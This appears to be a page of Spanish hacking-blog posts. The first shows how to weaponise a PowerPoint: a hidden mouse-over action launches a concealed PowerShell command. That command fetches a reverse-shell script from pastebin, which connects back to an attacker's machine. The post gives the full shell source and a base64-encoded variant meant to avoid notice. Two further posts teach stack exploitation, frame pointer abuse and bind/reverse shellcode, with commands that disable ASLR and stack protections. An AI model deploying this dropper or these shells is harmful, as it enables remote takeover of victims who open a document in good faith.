Mostrando entradas con la etiqueta shellcode. Mostrar todas las entradas
Mostrando entradas con la etiqueta shellcode. Mostrar todas las entradas

Meterpreteando un PowerPoint

Holaaaaaa amigos, hace bien poco, estuve leyendo una noticia en "The Hacker News", sobre un malware que se repartía a través de un powerpoint (http://thehackernews.com/2017/06/microsoft-powerpoint-malware.html).
La noticia dice algo así como que los atacantes, pueden hacer que un usuario se descargue un malware sin ni si quiera clickar en nada. Razón lleva, pero también dice, que al usuario se le muestra un pop up, alertando sobre que power point quiere ejecutar blah,blah,blah...

Bien, hoy Fare9, os trae, como "Meterpretear", un power point... En realidad vamos a coger un netcat con powershell, y hacer que este se ejecute. Daremos las gracias a mi compañero Alberto, que me ha ayudado bastante con esto.

Lo primero que haremos será por supuesto, un pequeño ejemplo, en el cual simplemente mostraremos por pantalla, algo sencillo, para mostrar las capacidades.


Abriremos, por lo tanto un Power Point, totalmente vacío:


Ahora insertaremos una forma, que ocupe toda la pantalla y esté en blanco, para ello iremos a insertar -> Formas, y escogeremos el rectángulo:

Lo dicho cogemos la rectangular, y seleccionamos casi toda la diapositiva, así no hará falta que el usuario se dirija directamente a un objeto en concreto, sino que al mover el ratón por la pantalla un poco:
Bien, aquí la imagen de la forma en toda la diapositiva, la dejaré en azul para que se note mejor, pero se puede cambiar el color en "Relleno de forma". La cosa es ponerlo que no se note nada raro :) :) :) :)....


Ahora seguido, seleccionaremos con el ratón este objeto, iremos a "Insertar" en las pestañas de arriba, e iremos a "Acción"
A la derecha tenemos acción, al abrir tenemos algo como esto:
Iremos directos a "Pasar el mouse por encima", y seleccionaremos el radio button de "Ejecutar programa", seguido escribiremos en su respectiva caja lo siguiente:

powershell -c "echo Holaaaaa, artemaniacos; sleep 10"

Con esto cuando el usuario vea el powershell y permita la ejecución, le saldrá un powershell con un "hola artemaniacos" y dejaremos 10 segundos para que se pueda apreciar.

Vamos a ejecutar poniendo la diapositiva y a mover el ratón un poco por encima:

lo primero que veremos es esta alerta de seguridad:

Haremos de usuario "buen intencionado", y habilitaremos, si windows permite habilitar será por algo, entonces nos encontraremos con esto:

Como vemos, tenemos un powershell, con el texto introducido.

Ahora iremos un paso de gigante más allá, obtendremos un netcat en powershell, y haremos un reverse shell con una máquina kali, para que tenga el placer de conocer lo que es una powershell remota. Para ello usaremos la siguiente shell o "netcat" perteneciente al framework nishang.

Pero la tunearemos un poco, para ello cambiaremos todas las comillas dobles, por simples (por si usamos las dobles fuera), luego quitaremos todo espacio y quitaremos todos los comentarios, seguidamente a todas las sentencias, tendremos que ponerle ; para poder unirlas así a porrillo, quedará algo tal que así:

function Invoke-PowerShellTcp
{
    [CmdletBinding(DefaultParameterSetName='reverse')] Param(
        [Parameter(Position = 0, Mandatory = $true, ParameterSetName='reverse')]
        [Parameter(Position = 0, Mandatory = $false, ParameterSetName='bind')]
        [String]
        $IPAddress,
        [Parameter(Position = 1, Mandatory = $true, ParameterSetName='reverse')]
        [Parameter(Position = 1, Mandatory = $true, ParameterSetName='bind')]
        [Int]
        $Port,
        [Parameter(ParameterSetName='reverse')]
        [Switch]
        $Reverse,
        [Parameter(ParameterSetName='bind')]
        [Switch]
        $Bind
    )
    if ($Reverse)
    {
        $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port);
    }
    if ($Bind)
    {
        $listener = [System.Net.Sockets.TcpListener]$Port;
        $listener.start();
        $client = $listener.AcceptTcpClient();
    }
    $stream = $client.GetStream();
    [byte[]]$bytes = 0..255|%{0};
    $sendbytes = ([text.encoding]::ASCII).GetBytes('Fare9 PowerShell running as user ' + $env:username + ' on ' + $env:computername + '`n');
    $stream.Write($sendbytes,0,$sendbytes.Length);
    $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>');
    $stream.Write($sendbytes,0,$sendbytes.Length);
    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
    {
        $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding;
        $data = $EncodedText.GetString($bytes,0, $i); 
        $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String );
        $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> ';
        $x = ($error[0] | Out-String);
        $error.clear();
        $sendback2 = $sendback2 + $x;
        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
        $stream.Write($sendbyte,0,$sendbyte.Length);
        $stream.Flush(); 
    }
    $client.Close();
    $listener.Stop();
}

Bien, como veis, todas las sentencias tienen un ; al final para poder ponerlos a choclon, y no hay espacios en blanco, ya que ahora lo que habrá que hacer es ir linea a linea, quitar el salto de linea para dejarlo todo en la misma (no hagáis replace, que peta, tampoco es mucho). Al final (y para que no tengáis que hacer mucho) sale un chocloquen así de código:

function Invoke-PowerShellTcp {[CmdletBinding(DefaultParameterSetName='reverse')] Param([Parameter(Position = 0, Mandatory = $true, ParameterSetName='reverse')][Parameter(Position = 0, Mandatory = $false, ParameterSetName='bind')][String]$IPAddress,[Parameter(Position = 1, Mandatory = $true, ParameterSetName='reverse')][Parameter(Position = 1, Mandatory = $true, ParameterSetName='bind')][Int]$Port,[Parameter(ParameterSetName='reverse')][Switch]$Reverse,[Parameter(ParameterSetName='bind')][Switch]$Bind)if ($Reverse){$client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port);}if ($Bind){$listener = [System.Net.Sockets.TcpListener]$Port; $listener.start();$client = $listener.AcceptTcpClient();} $stream = $client.GetStream();[byte[]]$bytes = 0..255|%{0};$sendbytes = ([text.encoding]::ASCII).GetBytes('Fare9 PowerShell running as user ' + $env:username + ' on ' + $env:computername + '`n');$stream.Write($sendbytes,0,$sendbytes.Length);$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>');$stream.Write($sendbytes,0,$sendbytes.Length);while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding;$data = $EncodedText.GetString($bytes,0, $i);  $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> ';$x = ($error[0] | Out-String);$error.clear();$sendback2 = $sendback2 + $x;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush();  }$client.Close();$listener.Stop();}

Todo claro está, en la misma línea, ahora al final después de la segunda llave, vamos a poner esto:
Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.163 -Port 4444

Siendo la IPAddress, la de vuestra máquina Kali:

  
Metemos el ; después de la última llave, para que powershell lo tome como otro comando a ejecutar. 
Finalmente, y para no tener que dar ningún archivo junto con el power point, meteremos el "payload" en pastebin, así el cliente se lo descargará antes de ejecutarlo, y lo meteremos en un rico RAW:
 Payload

Finalmente, tendremos que poner el comando que ejecutará el cliente, el cual se meterá en el powerpoint. El comando será algo así:

powershell -windowstyle hidden -c " $data =  (New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/DyAXZ0ac'); powershell -windowstyle hidden $data"

Con -windowstyle hidden, lo que hacemos es que la shell no esté constantemente en pantalla, desaparecerá:
  
Pues esto será lo que añadiremos en el powerpoint como acción.
  
 



Nos tocará en nuestra kali, poner un netcat a escuchar:


Ahora entonces queda ejecutar el powerpoint, y que el usuario caiga en nuestra trampa:


Bien, al arrancar y pasar el ratón, pues pasa lo mismo, la advertencia:
Como un buen usuario de windows, debemos habilitar claro está, si no, nos quedamos sin propiedades importantes de un archivo. Y al momento aparece durante un instante un powershell, el cual desaparece entre la bruma, y miramos en nuestra kali y mira que tenemos:

UOOOOOOOOOOOOOOOOOO una shell, desde un powerpoint, SIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII. Además es un powershell, mucho mejor que una CMD de esas cacas. UOOOOOOOOOOOOOOOOOOOO.

######################## ACTUALIZACIÓN

Podemos ir más allá, y para que no parezca tan coherente, podemos encodear el payload en base64, subirlo a pastebin igual, y ejecutarlo como antes.
Para encodear haremos lo siguiente, abrimos powershell y escribimos:
$data =  (New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/DyAXZ0ac') # obtenemos el payload sin encodear
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($data)
$EncodedText = [Convert]::ToBase64String($Bytes) # lo pasamos a base64
$EncodedText > encodeado.txt # lo metemos en un archivo
notepad encodeado.txt


Ahora tendremos algo así:
Ahora lo subimos a pastebin: https://pastebin.com/raw/ybxwvgAh

Y hacemos que el powerpoint ejecute lo siguiente:


powershell -windowstyle hidden -c " $data =  (New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/ybxwvgAh'); powershell -windowstyle hidden -encodedcommand $data"

Tenemos que pasar por lo mismo de antes, por la advertencia y por la ejecución, pero aquí tenemos otra vez una shell con el payload encodeado:


Bueno más o menos os he enseñado como meter una powershell netcat dentro de un PowerPoint, tanto Power, tanto Power, y tanto obtener y obtener el Power, vamos a celebrarlo con una cancioncita: Gimme the power - Molotov

Nos veremos pronto en el siguiente de 0 a exploiting que estoy preparando, y por lo demás, ya sabéis donde podéis encontrarme.
Si te gustó el Post, compártelo y si quieres saber todas las chorradas que suelo decir sígueme en mi twitter: Fare9 Twitter.

Y como dije, agradecimientos a mi compañero Alberto, por ayudarme a llevar esto a la práctica y darme la idea de subirlo a un pastebin.

Un saludo a todos los aficionados a la informática y al hacking.

De 0 a exploiting (V)

Buenas amigos soy Fare9, y desde mi retiro espiritual, hoy escribo la quinta edición de "De 0 a exploiting", vamos a realizar hoy una nueva técnica de exploiting, la cual se conoce como "Abuso del Frame Pointer". Para aquellos programadores que añadieron:
Pero antes, aquí los preparativos:
###############################################

Desactivar la aleatoriedad en las direcciones de la pila, para ello debeis ejecutar el comando (como root):
echo 0 > /proc/sys/kernel/randomize_va_space

Compilar (hoy si) con:
gcc -g -fno-stack-protector -z execstack codigo.c -o programa

###############################################

Para empezar, y hace mucho que no pongo nada, voy a recomendar un poquito de música para trabajar :) (Kavinsky - Nightcall).

Bien ¿qué es esto de abuso del Frame Pointer?, más o menos, vamos a recordar un dibujo que vimos en "De 0 a exploiting (II)":
Veíamos que cuando llamabamos a un método a través de un CALL,  en la pila se creaba una zona para las variables locales, o stack frame o marco de pila... Bien veíamos que se guardaba EIP y después EBP, los cuales pues luego se recuperan y aquí era donde sobreescribiendo EIP, petabamos el programa y todo guay y de maravilla.
Imaginemos que el programador es lo suficientemente inteligente y dice "si no llegan a EIP, no pueden conseguir explotar el programa":
Pero gente muy lista se dio cuenta de como funcionaban las llamadas a CALL y como retornaban de esas llamadas, y a partir de aquí, llevar a cabo la explotación.
Para ver como podemos explotar un programa así, vamos a ver un poquito de teoría.

Teoría del abuso de Frame Pointer

Veamos que se hace cada vez que realizamos una llamada a CALL, estas llamadas nos permiten ejecutar funciones o por decirlo de otra manera, otras partes de código guardadas en memoria.
Lo primero que se realiza es guardar como no, el puntero a la siguiente instrucción al CALL para cuando volvamos ejecutar la instrucción correcta. Se realizaría por tanto algo como

                    PUSH EIP

Se realiza entonces un salto a la primera instrucción de la función, estas primeras instrucciones, normalmente, se encargan de crear el stack frame, y harían algo así:

                   PUSH EBP // guardo el valor de EBP
                   MOV EBP,ESP // meto el valor de ESP en EBP
                   SUB ESP,X  // dejo espacio en la pila para las variables locales

Antes de continuar, veamos a que corresponden en ensamblador las funciones de PUSH y POP, lo cual entenderlo nos ayudará a comprender este ataque, así que aquí va una NOTA:

################ NOTA
    En ensamblador las instrucciones push y pop pueden realizarse con suma, resta y movimiento

    push:
            sub $4,%esp #aumentamos tamaño de pila
            mov registro o valor, (%esp) #movemos lo que queremos meter en la pila a la direccion de pila

    pop:
            mov (%esp),registro #metemos lo que apunta la pila en un registro
            add $4,%esp #disminuimos el tamaño de la pila
#######################

Una vez comprendamos esto, la vida se nos volverá más fácil. Bien imaginemos que al realizar una copia con strcpy o strncpy o de cualquier forma, de un buffer a otro de memoria, el límite está en el registro EBP, sólo podríamos modificar este registro, lo cual a primera vista no parece malicioso...
Antes hemos puesto el prologo a una función cuando se crea el stack frame, ahora vamos a ver el epílogo, cuando la función se destruye :)

              MOV ESP, EBP //el valor que tiene el registro EBP pasa a ESP, adiós a variables locales
              POP EBP  // EBP recupera el valor que tenia antes de memoria
              RET // EIP recupera su valor de memoria y volvemos

Esto actualmente se hace con dos instrucciones:

             LEAVE
             RET

Pero para el caso, es lo mismo, bien el primer EBP que movemos a ESP es el que está guardado en el registro, no la posible memoria que hemos podido modificar, ahora viene lo gracioso, cuando hacemos el POP, coge de memoria, lo que nosotros hayamos metido, por tanto EBP ya lo hemos manipulado :) . Vamos a verlo con unas fotitos, en el que vamos a meter un montón de basura en un programa (luego ya pondré el código del programa y todo eso):

Bien, vamos a ejecutarlo con un montón de basura.
Prólogo de la función explotable, de momento sólo nos fijaremos en las instrucciones, que son como antes dijimos.
La pila antes de ejecutar el epílogo, vemos que ya está el valor de EIP metido, ahora vamos a ejecutar las dos primeras funciones del prólogo:
Como vemos, el valor de EBP, se ha metido en la pila, y ahora EBP tiene el valor de ESP, luego ESP disminuirá para dejar paso a variables locales. Vamos a ejecutar la función que copia los valores, así que recordad bien la dirección donde se ha guardado el valor de EBP (bffb:d1d8):
Como vemos, ahora hay basura, por tanto veamos que pasa al ejecutar el epílogo de la función (leave y ret), veremos que valor toma EBP:
Como vemos, ahora EBP se ha modificado y tiene un valor que nosotros queríamos...

Bien, esta función que ha realizado la copia, normalmente es llamada por otra función, la cual tiene su propio epílogo, pero esta vez nos encontraremos que EBP no tiene un valor lógico, tiene un valor que nosotros hemos metido, por tanto se ejecutarán las funciones del epílogo con nuestro nuevo EBP, veamos que pasa:
Como vemos tenemos un fallo, ya que la dirección AAAA, no es posible acceder.
¿Por qué este fallo?
Al realizar el epílogo ejecuta lo siguiente:
               MOV ESP,EBP //mete en ESP el valor AAAA o  0x41414141 (el cual no es accesible)
               POP EBP //al intentar sacar el valor de EBP de 0x41414141 nos manda al garete
               //en caso de que fuera posible, ahora ESP valdría 0x41414145 (os acordais la nota que puse antes, ahora es cuando vale saberlo bien)
               RET //finalmente intentaríamos meter el valor de la dirección de memoria 0x41414145 en EIP

Ahora pensemos como poder aprovecharnos de esto, vemos que hemos modificado EBP y con esto finalmente podríamos intentar modificar EIP. Vemos que al meter una dirección en EBP, luego se mete en ESP y se le sumaría 4 a esa dirección por el POP EBP, entonces a esa nueva dirección se accede para obtener EIP...
Y si...?, metemos una dirección donde tengamos un puntero a nuestro shellcode - 4, luego al hacer el POP EBP, tendríamos en ESP la dirección de un puntero a nuestro shellcode, entonces meteríamos ese puntero en EIP, y al hacer el RET, el código saltaría a nuestro shellcode...

A que mola, muy sencillito, al menos en mi cabeza todo funciona:
Bien entonces tenemos que saber en que lugar de memoria se establece nuestro shellcode y en donde empieza EBP, para saber cuantos caracteres podemos meter para petar la memoria y poder hacer el truco.
Vamos a ver el código primero del programa que vamos a usar:


Seguis entonces la nota del principio de como compilarlo. Y ahora vamos a ver como obtenemos la dirección de memoria:

Según arrancamos el programa, nos encontraremos  según EIP en /lib..., para ir al comienzo ejecutaremos F9, el cual es RUN, y nos llevará al principio de código:
Ya estamos en el main, como vemos en el código, tenemos que si no metemos un argumento el programa sale, por tanto al meter un argumento se llamará a una de las funciones, la cual llamará a la de copiar, así que vayamos directos a la de copiar. Con F7 vamos pasando linea a linea, y si encuentra un call, entrará, vemos el primer call del main:
Nos meteremos en él, que es la primera función, y dentro tendremos otro call que es la función para copiar:
Dentro de esta función podemos ejecutar para ver donde se copia la cadena Fare9, y vemos donde se encuentra EBP, para realizar la resta. Ejecutemos hasta casi el epílogo y examinemos la pila:


Podemos observar en que dirección empezó a copiarse la cadena y en que dirección está EBP guardado, hagamos la resta:
 bfff:f348 - bfff:f23c = 10c = 268 en decimal
Por tanto después de meter 268 bytes, lo siguiente que entra sobreescribe el valor guardado de EBP.

Ahora vamos a ver como podemos montar el exploit, necesitamos la dirección a la que vuelva - 4, luego necesitamos la dirección del shellcode, vamos a ver mi código en python de un exploit, recordemos que para encontrar las direcciones ejecutar el programa con edb dentro del código python, esto nos dará las direcciones más correctas:


Como se puede observar, al ejecutar mi código con python , busqué con edb el principio del buffer y esta vez era bfff:f12c, por tanto tenemos que la dirección de retorno (RET) es bfff:f12c - 4, la dirección del shellcode será bfff:f12c + 4, allí encontraremos una cama de NOPS, bastante grande, y el shellcode que nos devuelve una shell. Vamos a ejecutarlo primero con edb y luego sin él:
Como vemos, se ha copiado primero la dirección a donde tiene que saltar y después la cama de NOPS, vamos a ver donde estaba EBP:
Como vemos, donde estaba EBP, está la dirección del puntero a nuestra shellcode - 4, ahora sigamos ejecutando hasta llegar al epílogo de la función anterior:
Como vemos EIP acabó apuntando a nuestra shell y ahora a los NOPS, si ejecutamos este shellcode, veremos que obtenemos una shell. Ahora vamos a ejecutarlo sin edb:
Como vemos acabamos de obtener una shell, sin poder llegar a EIP, a esto sólo queda decir:
MAGIAAAAAAAAAAAAAAAAAAAAAAA



Pues mundo de hackers, hasta aquí el De 0 a exploiting(V) , espero que fuera divertido, me ha costado la verdad con tanta imagen (LOCURA), pero es entretenido tener nuevas formas de explotación además de sobreescribir directamente EIP.
Antes de acabar me gustaría pedir a quien pudiera y quisiera, que ya que en estas fechas nos encontramos en época de cacería y post navidad, tanto Galgos como cachorros los cuales crecieron, serán abandonados o cosas peores, que quien pueda donar un mínimo, les dejo unos enlaces de protectoras las cuales necesitarían de esta ayuda:

http://www.galgos112.com/
http://www.proaweb.org/
http://www.anaaweb.org/es/
http://www.protectorahuellas.org/

Yo cada año gran parte de mis regalos monetarios, van destinados a diferentes protectoras, y es un dinero que por poco que sea, bien vendrá.

Hasta aquí De 0 a exploiting y nos vemos en próximos POST de Fare9.
--------------------------------------------------------FIN

De 0 a exploiting (IV)

Buenas amigos, soy Fare9, y hoy traigo conmigo la cuarta entrega del curso "De 0 a exploiting", donde veremos paso a paso como va esto del exploiting.

Vamos con los preparativos:
###############################################

Desactivar la aleatoriedad en las direcciones de la pila, para ello debeis ejecutar el comando (como root):
echo 0 > /proc/sys/kernel/randomize_va_space

Compilar (hoy si) con:
gcc -g -fno-stack-protector -z execstack codigo.c -o programa

###############################################

(yo ya tengo hecho un bash para pasar de uno a otro y un bash para compilar).

Hoy vamos a ver el tema de sockets. A través de sockets, en un ordenador, nos conectamos a la red (normalmente utilizando el protocolo TCP/IP). Para usarlos normalmente seguimos una serie de funciones, en este caso si suelen ser funciones específicas de un sistema operativo, aquí dejo las más usuales en C:

Aunque aquí vemos distintas funciones, en realidad las llamadas a la syscall tienen el mismo índice, recordemos del archivo unistd32.h:

#define __NR_socketcall 102

Tras establecer en EAX este valor, seleccionamos en EBX el tipo de llamada, y finalmente en ECX estableceríamos la dirección en la pila de los argumentos(ya no podemos tener un registro por argumento).
Para ver los sockets, veremos como estos funcionan, ya que estos funcionan en un modelo cliente-servidor:
 Como se puede observar, tenemos un servidor, el cual reserva un puerto para empezar a escuchar conexiones, este es un puerto lógico siendo un valor entre 1 y 65535 (64K), tras reservar el puerto, se pone a la escucha hasta que llegue una conexión. 
El cliente entonces realiza una conexión a un servidor con una IP y un puerto, sin contar con firewalls, NIDS ni cualquier otra cosa, tenemos que se ha realizado un establecimiento de la conexión, entonces ambos cliente y servidor tienen un objeto socket por el que pueden pasar streams (flujos) de datos de uno a otro.

Hasta aquí el rollo teórico, bien nosotros queremos algo más, queremos que un atacante esté a la escucha de una víctima al que se le acaba de realizar un ataque a una vulnerabilidad, o queremos que al atacar una vulnerabilidad, dejar en la víctima un puerto a la escucha (lo que llamamos un backdoor). Finalmente tras realizar una conexión queremos obtener una shell, para poder ejecutar comandos, aquí entonces tendremos dos tipos de conexiones Bind Shell y Reverse Shell:
 En esta imagen se muestra un reverse shell, donde es la víctima quien se conecta al atacante, por tanto aunque la victima tenga por delante un router, es posible realizar la conexión, ya que es este quien la comienza.


Bind Shell

Empezaremos explicando Bind Shell, en este caso al explotar la vulnerabilidad, dejamos en la víctima un puerto a la escucha de conexiones. En este caso actúa como servidor y sigue los siguientes pasos:
Primero llamamos a socket, con los valores siguientes, recordemos que los argumentos pasamos primero a la pila, los que están más a la derecha. El primer argumento pasado a socket sería AF_INET con lo que nos referimos a que tenemos que usar el protocolo IPv4, seguido tenemos el argumento SOCK_STREAM para realizar secuenciado de paquetes y añadir fiabilidad, y finalmente tenemos IPPROTO_TCP para que el socket a usar sea TCP en lugar de UDP, finalmente establecer un 0 (como vemos con push %ecx), es para finalizar los argumentos. 
Finalmente hacemos que ecx apunte a la cima de la pila, en este momento y este caso, los argumentos. 
Como vemos al principio metemos en %al el valor 0x66, el cual en hexadecimal es 102, y en bl el valor 0x1, que es el valor de la función socket.
Para acabar realizamos un int $0x80 para ejecutar la función, y metemos en esi lo que devuelve la función socket(), un descriptor del socket (como si fuera un fichero).


Ahora tenemos que "reservar" un puerto para dejarlo a la escucha, para esto rellenamos una estructura del tipo sockaddr, para ello primero insertamos un valor NULL, seguido establecemos el valor del puerto (en hexadecimal) y un valor 0. Tras esto hacemos que ecx apunte a esta estructura por medio de esp. Ahora introducimos los valores de los argumentos en la pila, la longitud en bytes de la estructura (16 bytes), un puntero a la estructura (con ecx) y finalmente el descriptor del socket (con esi), hacemos que ecx apunte a estos argumentos y llamamos a int $0x80, con un valor en eax de 102 y un valor en ebx de 2.

Ya tenemos el puerto, ahora hay que establecerse a la escucha, un servidor puede establecer cuantas conexiones aceptará por un puerto, por tanto en este caso, establecemos que escucharemos por 1 conexión y luego introducimos el descriptor del socket, hacemos que ecx apunte a los parámetros y finalmente realizamos la llamada a Listen.
Una vez estamos a la escucha, debemos hacer que el servidor acepte las conexiones, para ello simplemente necesitamos pasar a la función un único argumento, el descriptor del socket, lo demos podemos establecerlo a NULL. Finalmente llamamos la función accept, y veremos luego que este se queda a la espera, espera que alguien se conecte, y una vez conectado, metemos en ebx el socket de la conexión.

Ahora vamos a realizar un paso, muy sencillo pero bastante interesante, además de en el libro, vi como lo realizaba un troyano, estableceremos los descriptores de ficheros de STDIN, STDOUT y STDERROR en lugar de los normales (teclado y pantalla), los estableceremos al socket, así todo lo que se envíe será tomado como el teclado, y las respuestas en lugar de por pantalla se enviarán por el socket. Para ello vamos a usar la llamada dup2 con la cual podemos reasignar descriptores de ficheros en Linux, en lugar de usar los STD* antes dichos, estableceremos el socket:
Como vemos, realizamos un bucle, para ello metemos el número de rondas en cl muy típico en ensamblador, para llamar a dup2, tenemos en ebx el socket de conexión, y en ecx tendremos los valores 2,1 y 0, con esto al llamar a dup2, modificamos entradas y salidas del programa.
Finalmente llamamos a la shell igual que hicimos en el anterior post en "pusheando cadenas":
Como modificación, añadimos que las variables de entorno estén a NULL.


Si juntamos todo este código en un archivo (por ejemplo bindshell.s) y realizamos lo siguiente:

as bindshell.s -o bindshell.o
ld bindshell.o -o bindshell

Tendremos un programa el cual deje a la escucha un puerto (el 31337), podemos conectarnos a él con una herramienta como "Netcat" o "Ncat":
Tenemos aquí a la espera de conexiones un puerto.
Nos conectamos a la IP donde escucha el bindshell y al puerto, vemos que a partir de ahora podemos ejecutar comandos.

Bien, antes de ver la explotación, veremos el reverse shell y finalmente explotación.

Reverse Shell

En este caso imaginemos que como todos, la víctima tiene un router o tiene un firewall, el cual evita las conexiones desde fuera, por tanto necesitamos que esta vez la víctima sea el cliente, y se conecte a una IP y un puerto.
Esta vez el código será más sencillo, ya que simplemente, creamos el socket y llamamos a connect, finalmente abrimos la shell.

Como vemos, igual que antes,  llamamos a socket para poder obtener un descriptor con el cual realizar las operaciones.
Ahora tenemos algo muy importante, pues debemos realizar una llamada a connect, y necesitamos introducir una IP y un puerto, lo que pasa que en la IP, no podemos establecer nunca un byte 0, por tanto la IP no puede ser algo como "192.168.0.12", así que en mi caso tengo una tarjeta Wifi de red con la IP 192.168.1.32, como vemos insertamos primero la IP (en hexadecimal en Little Endian con los bytes al reves primero el 32 luego el 1 luego el 168 y luego el 192), el puerto al que debe conectarse (en hexadecimal) y luego bx que en este caso tiene un 2 para elegir AF_INET
Hacemos que ecx apunte a esta estructura, y para la llamada a connect, introducimos el tamaño de la estructura, puntero a la estructura y finalmente el descriptor del socket.

Igual que en bindshell, con el socket de conexión en ebx vamos recorriendo los STD*, para pasarlos al socket y finalmente ejecutamos la shell.


Ahora compilamos igual que antes, por ejemplo lo llamaremos al código reverseshell.s y para ejecutarlo antes, necesitamos tener un puerto a la escucha, igual que antes con ncat.
Ncat a la escucha en el puerto 31337, ahora ejecutamos reverseshell.
Al ejecutar reverseshell obtenemos una shell, que va por el socket.



Explotación

Antes de nada tenemos que crear un programa ejemplo2.c , donde poder introducir más caracteres que antes, ya que los opcodes actuales pues son bastantes más, dejo aquí el código:
Como vemos ahora tenemos un buffer de 128 bytes.

Para sacar cuantos bytes son necesarios para llegar a EIP, podemos usar igual que antes Pattern Petater, el cual nos dicen que son 144 bytes (pero animo a probarlo), y luego usando edb debugger, obtenemos la dirección de retorno.

Ahora tenemos un problema, y es que el código antes visto... No vale, ya que al introducir datos en la pila, y estar el código en la pila, los datos van sobreescribiendo el código, por tanto necesitamos código que vaya aumentando la pila. Aquí voy a dejar el código y luego preparamos el exploit típico de Python:

bindshell2.s


reverseshell2.s
 


Exploit

Una vez finalizado, compilamos y obtenemos los opcodes con Objdump, y lo insertamos finalmente todo en un exploit:

Con el bindshell, nos conectaremos con Ncat y con reverseshell, dejaremos un puerto a la escucha.


Bueno hasta aquí el tema de sockets, hemos creado dos shellcodes bastante extensos, pero vamos aprendiendo poco a poco, como crear nuevas formas de shells y nuevos exploits en otros programas.

--------------------------------------------------------FIN